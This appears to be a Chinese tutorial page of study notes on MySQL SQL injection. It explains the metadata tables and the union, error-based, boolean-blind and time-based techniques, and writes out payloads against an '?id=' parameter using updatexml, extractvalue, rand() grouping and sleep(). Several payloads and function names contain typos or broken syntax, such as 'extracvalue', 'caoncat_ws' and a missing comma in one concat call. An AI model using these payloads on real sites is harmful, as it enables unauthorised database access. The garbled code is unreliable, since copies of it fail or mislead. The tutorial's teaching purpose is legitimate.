Java教程

SQL注入-1

本文主要是介绍SQL注入-1,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL注入-1

本次sql注入以mysql为例,整理的千锋网络视频的内容

1. 关系型数据库

有明显的层次结构库名|表名|字段名|字段内容
MySQL\ACCESS\mssql\oracle

2. SQL注入类别

  • 联合查询注入
  • 报错注入
  • 布尔盲注
  • 延时注入
  • 多语句查询注入

3. MySQL

3.1元数据数据库

  • information_schema
    • tables
      • table_name\tabel_schema
    • columns
      • column_name/table_name/schema_name

3.2 常用函数与参数

version()//mysql版本
database()
user()
current_user()
system_user()//系统用户名
@@datadir//数据库路径
@@version_compile_os//操作系统版本
length()
substring()
concat()
caoncat_ws()//有分隔符
group_concat()
rand()
sleep()

3.3 SQL注入点判断

3.3.1联合查询

联合查询:利用union select语句,会同时执行两条select语句,生成两张虚拟表。
联合查询必要条件

  1. 两张虚拟表有相同列数。
  2. 虚拟表对应列数的数据类型相同。

A union select B时,一般页面只显示A的内容,B的内容不显示,这时可在A后加入and 1=2等语句,将A的内容设为false,这种情况下就会在页面中显示B的内容。

联合查询时可用到hex(table_name)这个函数,为了避免引号影响,将文本转换为十六进制(数字格式);也可用到group_concat(table_name)这个函数,

3.3.2报错注入

group by注入
利用group by重复建冲突建报错

? id=33 union select 1,2,concat(left(rand(),3)'>',@@version,'>')as a,4,5,6 from information_schema.tables group by a--+

如果information_schema.tables等关键表被禁用,可用以下语句构造一个表

select 1 union select null union select !1
select concat(left(rand(),3),'>',select version(),'>')as x ,count(*) from (select 1 union select null union select !1)as x group by a--+

如果rand()和count()被禁用,可以用以下方式

select min(@a:=1) from (select 1 union select null union select !1)a group by concat('>',@@version,'>',@a=(@a+1)%2);

** SQL语句解析过程**

  1. from:from标识了这条语句要查的数据源,形成虚拟表VT1。
  2. where:对VT1过程中生成的临时表进行过滤,把满足where字句的列插到VT2
  3. group by:把VT2生成的表按照group by 中的列进行分组,形成VT3。
  4. having:对VT3进行过滤,满足条件的数据被加到VT4
  5. select:对select子句中的元素进行处理,形成VT5表(先计算表达式,再distinct之类)

** XPath报错注入**

  1. extracvalue()
id?=33 and extracvalue(1,concat('>',(select version()),'<')--+`
  1. updatexml()
?id=33 and updatexml(1,concat('>',select version(),'<'),1)--+
3.3.3布尔盲注
id=1 and ascii(substr(database(),1,1))>0
3.3.4延时注入

利用sleep()语句

?id=3 and if(length(database())=3,sleep(5),1)--+
这篇关于SQL注入-1的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!